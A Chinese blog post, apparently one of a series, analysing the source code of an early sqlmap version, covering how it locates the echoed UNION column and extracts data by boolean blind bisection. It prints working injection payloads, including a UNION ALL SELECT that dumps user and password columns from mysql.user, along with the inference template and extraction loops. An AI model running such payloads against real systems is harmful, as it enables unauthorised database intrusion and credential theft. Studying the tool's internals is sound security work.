回顾
前两篇主要说了SQLMAP从main如何一步一步运行到action()函数，然后我对MySQL的版本识别和识别确认进行了具体的分析。其中inject.getValue函数至关重要，上篇对预处理expandAsteriskForColumns函数做了深入的分析，并以MySQL为例，对unionUse函数如何确认union注入的有效性和如何得出字段数的过程做了分析，最后分析了函数agent.concatQuery如何对payload做强转，到核心部分__unionPosition为止
unionPosition
函数代码不长，如下。注意传到这里的expression是经过强转的payload
例如SELECT user, password FROM mysql.user变成CONCAT('mMvPxc',IFNULL(CAST(user AS CHAR(10000)), ' '),'nXlgnR',IFNULL(CAST(password AS CHAR(10000)), ' '),'YnCzLl') FROM mysql.user
def __unionPosition(count, expression):
logMsg = "confirming inband sql injection on parameter "
logMsg += "'%s'" % kb.injParameter
logger.info(logMsg)
# For each column of the table (# of NULL) perform a request using
# the UNION ALL SELECT statement to test it the target url is
# affected by an exploitable inband SQL injection vulnerability
for exprPosition in range(0, kb.unionCount):
# Prepare expression with delimiters
randQuery = randomStr()
randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
randQueryUnescaped = unescaper.unescape(randQueryProcessed)
......
# Forge the inband SQL injection request
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition)
payload = agent.payload(newValue=query)
# Perform the request
resultPage = Request.queryPage(payload, content=True)
count += 1
# We have to assure that the randQuery value is not within the
# HTML code of the result page because, for instance, it is there
# when the query is wrong and the back-end DBMS is Microsoft SQL
# server
htmlParsed = htmlParser(resultPage, paths.ERRORS_XML)
if randQuery in resultPage and not htmlParsed:
setUnion(position=exprPosition)
break
注意到agent.concatQuery函数传入的是随机字符串而不是语句，分析代码会走到下方这一步
输入随机串->CONCAT('随机串1',IFNULL(CAST(输入随机串 AS CHAR(10000)), ' '),'随机串2')
concatQuery = "CONCAT('%s',%s,'%s')" % (temp.start, concatQuery, temp.stop)
下面unescape函数会将字符串转为CHAR(X,Y,Z)的ASCII格式，if判断会将expression和随机串生成的randQueryUnescaped比较长度，将较短的补空格至较长的，作用后续分析
进入forgeInbandQuery函数
1.prefixQuery函数作用在上一篇分析过，判断注入的闭合符号，在这里添加到前缀
2.exprPosition是payload循环到的字段数索引
3.postfixQuery函数作用在上一篇分析过，是在payload后添加注释和AND语句
inbandQuery = self.prefixQuery("UNION ALL SELECT ")
if not exprPosition:
exprPosition = kb.unionPosition
for element in range(kb.unionCount):
if element > 0:
inbandQuery += ", "
if element == exprPosition:
if " FROM " in query:
conditionIndex = query.rindex(" FROM ")
inbandQuery += "%s" % query[:conditionIndex]
else:
inbandQuery += "%s" % query
else:
inbandQuery += "NULL"
if " FROM " in query:
conditionIndex = query.rindex(" FROM ")
inbandQuery += "%s" % query[conditionIndex:]
inbandQuery = self.postfixQuery(inbandQuery, kb.unionComment)
return inbandQuery
回顾之前内容，在forgeInbandQuery执行完后会做完下面这一系列的转换
SELECT user, password FROM mysql.userCONCAT('mMvPxc',IFNULL(CAST(user AS CHAR(10000)), ' '),'nXlgnR',IFNULL(CAST(password AS CHAR(10000)), ' '),'YnCzLl') FROM mysql.userCONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)) FROM mysql.userUNION ALL SELECT NULL, CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)), NULL FROM mysql.user-- AND 7488=7488
执行效果如图，查询结果的开头结尾以及分割的随机字符串一目了然，这里是显示在host栏，实际上当传入的exprPosition不一致时，会在各个栏都显示一次。大家都是做过渗透的人，为什么这样做应该显而易见的，前端不一定将所有参数返回，所以这个循环是为了测试具体回显的字段是哪一个
后续agent.payload函数将原始参数位置替换为payload
Request.queryPage(payload, content=True)函数在content参数为True时返回responseBody，默认false的情况下会返回responseBody的md5
尝试以HTML方式解析响应，如果发现其中有生成的随机字符串，认为成功回显
htmlParsed = htmlParser(resultPage, paths.ERRORS_XML)
if randQuery in resultPage and not htmlParsed:
setUnion(position=exprPosition)
break
if isinstance(kb.unionPosition, int):
logMsg = "the target url is affected by an exploitable "
logMsg += "inband sql injection vulnerability"
logger.info(logMsg)
进入setUnion函数简单看下，保存了状态，并将注入点保存至kb.unionPosition，因此上方的打印也会执行。最后回顾一下，这里的unionPosition就是exprPosition，也是遍历最早保存的kb.unionCount的索引，是UNION注入的字段总数，在上篇文章重点在说的就是如何确认kb.unionCount
elif position:
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
( not kb.resumedQueries[conf.url].has_key("Union position")
) )
)
if condition:
dataToSessionFile("[%s][%s][%s][Union position][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], position))
kb.unionPosition = position
是时候回到最初的unionUse函数了，继续看
1.forgeInbandQuery函数之前以及分析，进行UNION ALL SELECT的拼接，agent.payload修改参数位置
2.Request.queryPage(payload, content=True)参数content为true返回html页面
3.解析响应html页面，找到其中开头结尾两处随机字符串的值，使用resultPage[startPosition:endPosition]这样的分割得到真正需要的值（参考上图）
# Forge the inband SQL injection request
query = agent.forgeInbandQuery(expression)
payload = agent.payload(newValue=query)
logMsg = "query: %s" % query
logger.info(logMsg)
# Perform the request
resultPage = Request.queryPage(payload, content=True)
count += 1
if temp.start not in resultPage or temp.stop not in resultPage:
return
duration = int(time.time() - start)
logMsg = "performed %d queries in %d seconds" % (count, duration)
logger.info(logMsg)
# Parse the returned page to get the exact inband
# sql injection output
startPosition = resultPage.index(temp.start)
endPosition = resultPage.rindex(temp.stop) + len(temp.stop)
value = str(resultPage[startPosition:endPosition])
return value
至此，inject.getValue的第一部分结束了
goInferenceProxy
有了第一部分的基础，看第二部分应该会轻松不少
这部分主要的功能是以盲注（应该是布尔盲注）手段获得结果的
开头三行
1.agent.prefixQuery出现过多次，将闭合符号拼接到payload前
2.temp.inference见xml
3.agent.postfixQuery出现过多次，在payload后加注释和AND语句
4.agent.payload出现过多次，将payload替换了原来请求参数的位置
query = agent.prefixQuery(temp.inference)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
<inference query="AND ORD(MID((%s), %d, 1)) > %d"/>
getFields函数大家应该不陌生，通过一系列正则拿到值，比如这里的expressionFieldsList是SELECT之后的语句
例如SELECT A,B,C->return "A,B,C",[A,B,C]
def __getFieldsProxy(expression):
_, _, _, expressionFields = agent.getFields(expression)
expressionFieldsList = expressionFields.replace(", ", ",")
expressionFieldsList = expressionFieldsList.split(",")
return expressionFields, expressionFieldsList
后续有很长的一段代码，是执行用户自定义代码的逻辑。实际上我们使用sqlmap是用不到自己写sql语句的功能，个人认为这部分没必要分析，我们直接往后看
跟入__goInferenceFields的__goInference函数，删减部分代码。先从语义分析，尝试获得结果的长度，然后使用二分法查到了具体的结果
def __goInference(payload, expression):
if ( conf.eta or conf.threads > 1 ) and kb.dbms:
_, length, _ = queryOutputLength(expression, payload)
else:
length = None
count, value = bisection(payload, expression, length=length)
return value
bisection
跟入queryOutputLength函数，首先到xml中寻找语句
lengthQuery = queries[kb.dbms].length
<count query="COUNT(%s)"/>
字符串转为CHAR格式后也调用了二分法，两次的二分法区别在于第一个没传入length，将返回的length传入第二次二分法
lengthExprUnescaped = unescaper.unescape(lengthExpr)
count, length = bisection(payload, lengthExprUnescaped)
跟入bisection函数，这四行其实都比较熟悉
1.fieldToCast是通过正则获取到的SELECT后所有内容
2.agent.nullAndCastField函数将”a”转为IFNULL(CAST(a AS CHAR(10000)), ' ')
3.将SELECT后原本的内容全替换为强转部分的
4.unescape将字符串转为CHAR(X,Y,Z)
_, _, _, fieldToCast = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCast)
expressionReplaced = expression.replace(fieldToCast, nulledCastedField, 1)
expressionUnescaped = unescaper.unescape(expressionReplaced)
后续较长部分代码是进度条渲染相关，这部分没必要研究，开源的库有不少。而且只是开一个线程做一下基本运算，实现起来不是很复杂。然后就是核心部分，使用单线程或多线程的盲注
首先看简单的，单线程所谓盲注
while True:
index += 1
charStart = time.time()
val = getChar(index)
if val == None:
break
value += val
跟入getChar函数
MAX和MIN的VALUE是ASCII对应的字符，准确来说应该是32-127为可显字符，queriesCount[0]是用来统计循环次数的。sqlmap所谓的这种盲注是通过LIMIT限制每次只查一个字符，此处idx是二分法处理参数的索引
回忆上文的payload
<inference query="AND ORD(MID((%s), %d, 1)) > %d"/>
例如username,password,other中，idx为1表示盲注username，最后一个limit参数是遍历猜测username的每一个字母，范围从0-127猜测。二分法的作用是加快username每个字符的猜测速度
当获取到result的md5之后，会和默认正常的页面的md5对比，如果相等说明payload的大于条件成立，需要进一步二分直到不成立，就可以确认出该字符精确的ASCII码，然后处理下一个字符
def getChar(idx):
maxValue = 127
minValue = 0
while (maxValue - minValue) != 1:
queriesCount[0] += 1
limit = ((maxValue + minValue) / 2)
forgedPayload = payload % (expressionUnescaped, idx, limit)
result = Request.queryPage(forgedPayload)
if result == kb.defaultResult:
minValue = limit
else:
maxValue = limit
if (maxValue - minValue) == 1:
if maxValue == 1:
return None
else:
return chr(minValue + 1)
其实多线程这部分也没有什么难点，加锁即可
每调用idx都需要申请锁idxlock.acquire()，使用完释放锁idxlock.release()，终端窗口打印也是类似，需要申请和释放iolock
def downloadThread():
while True:
idxlock.acquire()
if index[0] >= length:
idxlock.release()
return
index[0] += 1
curidx = index[0]
idxlock.release()
charStart = time.time()
val = getChar(curidx)
if val == None:
raise sqlmapValueException, "Failed to get character at index %d (expected %d total)" % (curidx, length)
value[curidx-1] = val
if showEta:
etaProgressUpdate(time.time() - charStart, index[0])
elif conf.verbose in ( 1, 2 ):
s = "".join([c or "_" for c in value])
iolock.acquire()
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s))
iolock.release()
# Start the threads
for _ in range(numThreads):
thread = threading.Thread(target=downloadThread)
thread.start()
threads.append(thread)
# And wait for them to all finish
for thread in threads:
thread.join()
到这里我们就分析完inject.getValue原理了，下一篇文章将进行后续分析（其实最难的部分已经结束了）
评论